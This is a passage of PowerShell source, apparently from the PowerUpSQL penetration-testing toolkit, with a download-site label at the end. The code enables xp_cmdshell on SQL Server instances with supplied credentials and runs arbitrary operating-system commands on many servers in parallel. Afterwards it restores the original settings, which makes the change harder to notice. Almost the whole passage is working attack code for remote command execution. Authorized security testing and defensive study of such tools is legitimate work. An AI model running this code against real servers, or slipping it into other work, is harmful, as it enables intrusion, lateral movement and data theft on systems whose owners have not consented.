$IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
if ($IsShowAdvancedEnabled2 -eq 1)
{
Write-Verbose -Message "$Instance : Enabled Show Advanced Options."
}
else
{
Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting."
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.')
return
}
}
# Enable xp_cmdshell if needed
if ($IsXpCmdshellEnabled -eq 1)
{
Write-Verbose -Message "$Instance : xp_cmdshell is already enabled."
}
else
{
Write-Verbose -Message "$Instance : xp_cmdshell is disabled."
$DisableXpCmdshell = 1
# Try to enable xp_cmdshell
Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
# Check if configuration change worked
$IsXpCmdshellEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure xp_cmdshell' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
if ($IsXpCmdshellEnabled2 -eq 1)
{
Write-Verbose -Message "$Instance : Enabled xp_cmdshell."
}
else
{
Write-Verbose -Message "$Instance : Enabling xp_cmdshell failed. Aborting."
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable xp_cmdshell.')
return
}
}
# Setup OS command
Write-Verbose -Message "$Instance : Running command: $Command"
#$Query = "EXEC master..xp_cmdshell '$Command' WITH RESULT SETS ((output VARCHAR(MAX)))"
$Query = "EXEC master..xp_cmdshell '$Command'"
# Execute OS command
$CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property output -ExpandProperty output
# Display results or add to final results table
if($RawResults)
{
$CmdResults
}
else
{
$null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults)
}
# Restore xp_cmdshell state if needed
if($DisableXpCmdshell -eq 1)
{
Write-Verbose -Message "$Instance : Disabling xp_cmdshell"
Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
}
# Restore Show Advanced Options state if needed
if($DisableShowAdvancedOptions -eq 1)
{
Write-Verbose -Message "$Instance : Disabling Show Advanced Options"
Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
}
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed
if(-not $SuppressVerbose)
{
$ErrorMessage = $_.Exception.Message
Write-Verbose -Message "$Instance : Connection Failed."
#Write-Verbose " Error: $ErrorMessage"
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
}
}
# Run scriptblock using multi-threading
$PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue
return $TblResults
}
}

mega.nz - [Code] PowerUpSQL v1.0.0.34